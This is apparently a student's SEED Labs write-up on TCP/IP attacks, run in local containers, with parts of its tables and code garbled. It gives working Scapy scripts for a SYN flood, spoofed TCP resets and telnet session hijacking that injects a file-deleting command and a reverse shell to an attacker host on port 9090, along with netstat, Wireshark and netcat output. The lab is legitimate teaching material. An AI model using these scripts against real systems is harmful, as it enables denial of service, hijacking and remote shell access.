SEED Labs – TCP/IP Attack Lab Brian Grigore Task 1:

Question 1: SYN cookies help to mitigate SYN flood attacks by not allocating server resources such as the memory or connection table waiting for a client's ACK. On a technical level, when a server with SYN cookies enabled receives a SYN segment, it will respond in the SYN-ACK with a SYN cookie, which is an initial sequence number based on the connection initiator's initial sequence number, a time counter, and the relevant addresses and port numbers. The bits comprising the cookie itself are the bitwise XOR of the SYN's sequence number and a computed 32 bit quantity. When the client responds with an ACK to complete the TCP connection, the server verifies the cookie, and is able to reconstruct the state from the information in the cookie. The advantage is that the server resources are not allocated preserving the state of incomplete connections.

1.1 Launching the attack using Python:

Before launching the attack, we can see the victim's server has only two TCP connections in LISTEN mode, which are the localhost:

```
root@98c9bc6bdd0a:/# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address
                                          Foreign Address
                                                                 State
          0
              0 0.0.0.0:23
                                          0.0.0.0:*
tcp
                                                                 LISTEN
          0
                0 127.0.0.11:40223
                                          0.0.0.0:*
                                                                 LISTEN
tcp
root@98c9bc6bdd0a:/#
```

Now I have created the synflood.py file in the volumes folder as shown, replacing the target IP with that of the victims, and setting the target port to 23 since we are trying to block the user from accessing the server with telnet, and this traffic is typically on port 23:

```
#!/bin/env python3
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits

ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23, flags="S")
pkt = ip/tcp

while True:

pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
pkt[TCP].sport = getrandbits(16) # source port
pkt[TCP].seq = getrandbits(32)
send(pkt, verbose = 0)
```

Now I can launch the attack, and after waiting a minute attempt to connect to the victim from a user's machine. After running the python program in the attacker container, with the netstat command on the victim container we can see many packets flooding in:

001111110111	u 011 ti 10 11	other container we can occ i	narry packets hecarrig in.	
сср	U	0 10.9.0.5:25	14/.40.10.2/:40000	2111 KECA
tcp	0	0 10.9.0.5:23	221.236.58.117:37451	SYN_RECV
tcp	0	0 10.9.0.5:23	181.252.124.152:11857	SYN_RECV
tcp	0	0 10.9.0.5:23	69.102.55.188:24617	SYN_RECV
tcp	0	0 10.9.0.5:23	184.154.173.253:65192	SYN RECV
tcp	0	0 10.9.0.5:23	34.23.255.164:29165	SYN RECV
tcp	0	0 10.9.0.5:23	3.134.110.26:22193	SYN RECV
tcp	0	0 10.9.0.5:23	115.152.96.236:61627	SYN RECV
tcp	0	0 10.9.0.5:23	254.156.162.75:33869	SYN RECV
tcp	0	0 10.9.0.5:23	141.242.192.21:55216	SYN RECV
tcp	0	0 10.9.0.5:23	142.88.86.3:9603	SYN_RECV
tcp	0	0 10.9.0.5:23	83.126.239.89:24152	SYN RECV
tcp	0	0 10.9.0.5:23	121.135.145.84:29279	SYN RECV
tcp	0	0 10.9.0.5:23	2.161.4.228:53844	SYN RECV
tcp	0	0 10.9.0.5:23	85.167.247.65:26451	SYN_RECV
tcp	0	0 10.9.0.5:23	19.64.226.202:20857	SYN_RECV
tcp	0	0 10.9.0.5:23	175.163.14.16:57745	SYN_RECV
tcp	0	0 10.9.0.5:23	246.85.47.173:41857	SYN_RECV
tcp	0	0 10.9.0.5:23	73.141.188.102:63491	SYN_RECV
tcp	0	0 10.9.0.5:23	208.58.130.29:51222	SYN_RECV
tcp	0	0 10.9.0.5:23	207.59.153.141:59421	SYN_RECV
tcp	0	0 10.9.0.5:23	160.202.217.251:629	SYN_RECV
tcp	0	0 10.9.0.5:23	118.216.219.161:3175	SYN_RECV

However, we are still able to connect from the user's machine:

```
root@59alla3caafl:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
98c9bc6bdd0a login:
Login timed out after 60 seconds.
Connection closed by foreign host.
root@59alla3caafl:/#
```

This is because the Python program is slow, and the legitimate packets are getting through when the spots free up. To mitigate this, I will try running multiple instances of the attack program. I created the following Python script, that will run the flood script multiple times concurrently using the Python subprocess module. The program is listening for a keyboard interrupt in order to terminate the running subprocesses:

```
multiflood.py
     #!/bin/env python3
    import sys
    import subprocess
     import signal
     def terminate processes(procs):
         print("\nTerminating all subprocesses...")
         for proc in procs:
             proc.terminate() # Gracefully terminate each process
         print("All subprocesses terminated.")
11
12
     procs = []
13
     for i in range(5):
         proc = subprocess.Popen([sys.executable, 'synflood.py'])
         procs.append(proc)
     print(len(procs))
     try:
         while True:
             pass
         except KeyboardInterrupt:
             print("\nKeyboard interrupt detected.")
              terminate processes(procs)
              print(|"Exiting the program.")
26
```

Let's run the attack and see what happens:

```
root@VM:/volumes# top
top - 02:24:33 up 3 days, 8:31, 0 users, load average: 4.74, 1.86, 0.80
Tasks: 9 total, 2 running, 7 sleeping, 0 stopped, 0 zombie
sCpu(s): 3.1 us, 0.6 sy, 0.0 ni, 96.3 id, 0.0 wa, 0.0 hi,
                                                            0.0 si, 0.0 st
           7960.9 total, 138.6 free, 2384.4 used,
                                                      5438.0 buff/cache
MiB Mem :
           2048.0 total,
                                                      5216.3 avail Mem
MiB Swap:
                          2025.1 free,
                                          22.9 used.
   PID USER
                PR NI
                          VIRT
                                 RES
                                        SHR S %CPU %MEM
                                                             TIME+ COMMAND
                         36280 31412
                                       8444 D
                                                     0.4
                                                           0:02.07 python3
    39 root
                20
                    0
                                                2.3
                                                     0.4
    40 root
                20
                         36280
                                       8444 R
                                                2.0
                                                           0:02.03 python3
                     0
                               31412
                20
                     0
                         36280 31412
                                       8444 D
                                                2.0
                                                     0.4
                                                           0:02.07 python3
    41 root
                20 0
                         36276 31416
                                       8444 D
                                                2.0
                                                     0.4
                                                           0:02.07 python3
    43 root
                         36276 31416
    42 root
                20
                     0
                                       8444 D
                                                1.7
                                                     0.4
                                                           0:02.06 python3
                                                           0:00.00 sh
     1 root
                20
                     0
                         2608
                                 508
                                        468 S
                                                0.0
                                                     0.0
```

We can see from the top command we have 5 instances of Python running and flooding the server. However, after waiting a minute the client was still able to connect, although it took a little longer. Let's try 20 instances instead of 5.

```
root@VM:/volumes# python3 multiflood.py
20
^C
Keyboard interrupt detected.
Terminating all subprocesses...
All subprocesses terminated.
Exiting the program.
```

This time, the telnet command took a lot longer to connect, almost 30 seconds, but the attack still failed to succeed. Let's try 50 instances:

```
root@59alla3caafl:/# telnet 10.9.0.5

Trying 10.9.0.5...

telnet: Unable to connect to remote host: Connection timed out
```

Success! With 50 instances of the Python program running, the user was not able to connect to the server.

Another way to increase the success rate of the attack is to reduce the number of half-open connections that can be stored in the queue, we will reduce this and try the attack with 10 instances to see the effect. The command is as follows:

```
root@98c9bc6bdd0a:/# sysctl -q net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 512
root@98c9bc6bdd0a:/# sysctl -w net.ipv4.tcp_max_syn_backlog=80
inet.ipv4.tcp_max_syn_backlog = 80
root@98c9bc6bdd0a:/#
```

We can see that our previous backlog was 512, and we have reduced it to 80. Now let's try the attack again with 1/5th of the instances:

```
root@VM:/volumes# python3 multiflood.py
10
^C
Keyboard interrupt detected.
```

```
root@59a11a3caaf1:/# telnet 10.9.0.5
Trying 10.9.0.5...
telnet: Unable to connect to remote host: Connection timed out
```

Success, ten instances of the python program were enough to overwhelm the cache.

Task 1.2:

I've set the syn backlog back to the default 512 of the system:

```
root@98c9bc6bdd0a:/# sysctl -w net.ipv4.tcp_max_syn_backlog=512
net.ipv4.tcp max syn backlog = 512
```

Now I can compile the C attack code and run it:

Escape character is '^]'.

```
[11/21/24]seed@VM:~/.../volumes$ gcc -o synflood synflood.c [11/21/24]seed@VM:~/.../volumes$ docksh d08 root@VM:/# cd volumes/ root@VM:/volumes# synflood 10.9.0.5 23

Trying 10.9.0.5...
Connected to 10.9.0.5.
```

The connection took a while but was still able to connect with only one instance of the C program running. The connection lag is still a significant difference to the Python program with only one instance, in which the server does not seem to be bothered at all.

Task 1.3:

With the following command, I've turned on SYN cookies and will run the Python and C attacks again to compare results:

```
root@98c9bc6bdd0a:/# sysctl -w net.ipv4.tcp_syncookies=1
net.ipv4.tcp syncookies = 1
root@VM:/volumes# python3 multiflood.py
50
^c
Keyboard interrupt detected.
root@VM:/volumes# synflood 10.9.0.5 23
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
```

```
root@59alla3caaf1:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^l'.
```

With the Python program running 50 instances or the C program, due to the SYN cookies both did not disrupt the telnet connection at all, and it connected instantly.

Task 2:

First, I'll create the Python script to manually conduct the attack. To do so, I require the source port and sequence number which can be obtained by using Wireshark to monitor traffic on the interface. I'll start logging on wireshark, and establish a telnet connection from a user to the server. In the bottom of the Wireshark window we can see that we are only looking at packets on the interface which the containers are on:

From this, we can see that our source port is 47100 and the sequence number is 606010775.

Now we can construct our python program and run it:

```
tcprst.py
    #!/usr/bin/env python3
    from scapy.all import *

    ip = IP(src="10.9.0.6", dst="10.9.0.5")
    tcp = TCP(sport=47100, dport=23, flags="R", seq=606010775)
    pkt = ip/tcp
    ls(pkt)
    send(pkt, verbose=0)
```

```
root@VM:/volumes# python3 tcprst.py
version : BitField (4 bits)
                                                                     (4)
                                                  = 4
ihl
           : BitField (4 bits)
                                                                     (None)
                                                  = None
tos
           : XByteField
                                                  = 0
                                                                     (0)
len
           : ShortField
                                                  = None
                                                                     (None)
id
           : ShortField
                                                                     (1)
                                                  = 1
          : FlagsField (3 bits)
                                                                     (<Flag 0 ()>)
flags
                                                  = <Flag 0 ()>
           : BitField (13 bits)
                                                  = 0
                                                                     (0)
frag
          : ByteField
                                                                     (64)
                                                  = 64
```

```
seed@98c9bc6bdd0a:~$ Connection closed by foreign host.
```

The connection was closed, so the attack succeeded.

Now we have to automate the attack using the Scapy sniff and spoof method. We can use a similar sniff call to the one in the DNS assignment, with the source port and sequence number being obtained from the previous packet. The code is as follows:

In this code, we sniff for packets on the interface that can be found on wireshark or by running the ip -br addr command on the attacker container. We then look for packets we want by filtering for TCP packets to port 23 from the user machine. Once a packet is found, we construct a TCP packet with the source port of the previous packet, and the sequence number of the previous packet shown by the sport and seq variables. Let's test out the script on an established connection:

^Croot@VM:/volumes# python3 tcprst.py

```
: ShortEnumField
                                                     = 47426
sport
                                                                        (20)
              ShortEnumField
dport
                                                     = 23
                                                                        (80)
seq
            : IntField
                                                     = 2201370037
                                                                        (0)
                                                                        (0)
            : IntField
ack
                                                     = 0
dataofs
           : BitField (4 bits)
                                                     = None
                                                                        (None)
reserved
           : BitField (3 bits)
                                                                        (0)
                                                    = 0
flags
            : FlagsField (9 bits)
                                                                        (<Flag 2 (S)>
                                                     = <Flag 4 (R)>
98c9bc6bdd0a login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86 64)
 * Documentation: https://help.ubuntu.com
 * Management:
                    https://landscape.canonical.com
 * Support:
                    https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Fri Nov 22 04:02:50 UTC 2024 from user1-10.9.0.6.net-10.9.0.0 on pts
seed@98c9bc6bdd0a:~$ lsConnection closed by foreign host.
257 2024-11-22 01:4... 10.9.<u>0.6</u>
                                                      TCP
258 2024-11-22 01:4... 10.9.0.6
                                    10.9.0.5
                                                                 54 47426 → 23 [RST] Seq=2
                                                                 54 47426 → 23 [RST] Seq=2
259 2024-11-22 01:4... 10.9.0.6
                                    10.9.0.5
                                                      TCP
```

We can see that the attack script works, once the connection is established and the script is run, the server is bombarded with RST requests from the client IP and the connection is dropped. Question: TCP RST attacks may still be possible without the attacker being on-path (able to sniff packets between the hosts) if certain protections are disabled. TCP DoS attacks can happen with the sequence numbers being guessed rather than observed, as in older TCP implementations any in-window sequence number is valid. Attackers can choose to send an RST packet with a valid sequence number or send an unexpected SYN packet to an established connection, triggering an RST in older TCP implementations where any in-window sequence number triggers an RST. These attacks are more likely to succeed if the window is large, which creates more possible sequence numbers, and if the TCP connection is alive for a long period of time, giving the attacker more time to guess. To mitigate these attacks, the best strategy is to encrypt communications using SSH, TLS, or IPSec.

Task 3:

For this task, we will try to inject a malicious command to delete an important file on the server. I've created the target file on the server as follows:

```
root@98c9bc6bdd0a:/home/seed# touch important.txt
root@98c9bc6bdd0a:/home/seed# nano important.txt
root@98c9bc6bdd0a:/home/seed# cat important.txt
I hope nobody deletes this!!
root@98c9bc6bdd0a:/home/seed#
```

Next, I need to modify the TCP RST program from the previous exercise to add the additional data required to execute the command:

```
tcprst.py
1  #!/usr/bin/env python3
2  from scapy.all import *
3
4  ip = IP(src="10.9.0.6", dst="10.9.0.5")
5  tcp = TCP(sport=47786, dport=23, flags="A", seq=3805868848, ack=30455699)
6  data = "\nrm -f /home/seed/important.txt\n"
7  pkt = ip/tcp/data
8  ls(pkt)
9  send(pkt, verbose=0)

10.9.0.6  10.9.0.5  TCP  66 47786 - 23 [ACK] Seq=3805868848 Ack=30455699
```

I set the flag to ACK as shown in the lab instructions, and obtained the sequence, ack and source port numbers from wireshark, then typed in the shell command to remove the file in the data parameter. Let's run the code and see what happens:

Success, the attack worked and the file no longer exists on the server.

Task 4:

For this task, I took the program from the previous one and changed the data to contain the reverse shell command, and we will run it in exactly the same way:

```
tcprst.py
      #!/usr/bin/env python3
      from scapy.all import *
      def startAttack():
         ip = IP(src="10.9.0.6", dst="10.9.0.5")
         tcp = TCP(sport=48080, dport=23, flags="A", seq=2824000879, ack=2317930280)
         data = "\n/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\n"
         pkt = ip/tcp/data
         ls(pkt)
         send(pkt, verbose=0)
      startAttack()
  12
                                                = b'\n/bin/bash -i > /dev/tcp/1
load
          : StrField
0.9.0.1/9090 0<&1 2>&1\n' (b'')
root@VM:/volumes#
10.9.0.6
                10.9.0.5
                                TCP
TELNET
            103 Telnet Data ...
             74 35758 → 9090 [SYN] Seq=3054109524 Win=64240 Len
TCP
TCP
             74 9090 → 35758 [SYN, ACK] Seq=607975874 Ack=30541
TCP
             66 35758 → 9090 [ACK] Seq=3054109525 Ack=607975875
            138 Telnet Data ...
TELNET
             87 35758 → 9090 [PSH, ACK] Seq=3054109525 Ack=6079
TCP
TCP
             66 9090 → 35758 [ACK] Seq=607975875 Ack=3054109546
root@VM:/# nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 35758
seed@4592e93ebb10:~$ ls
ls
seed@4592e93ebb10:~$ cd ...
cd ..
seed@4592e93ebb10:/home$ ls
ls
```

From the above screenshots, we can see that once the attack is run in the same way, with the most recent TCP data from Wireshark, and a netcat instance is run in parallel, the payload is delivered and we have shell access to the server and its directories. The Wireshark dump shows data being exfiltrated to 9090.

seed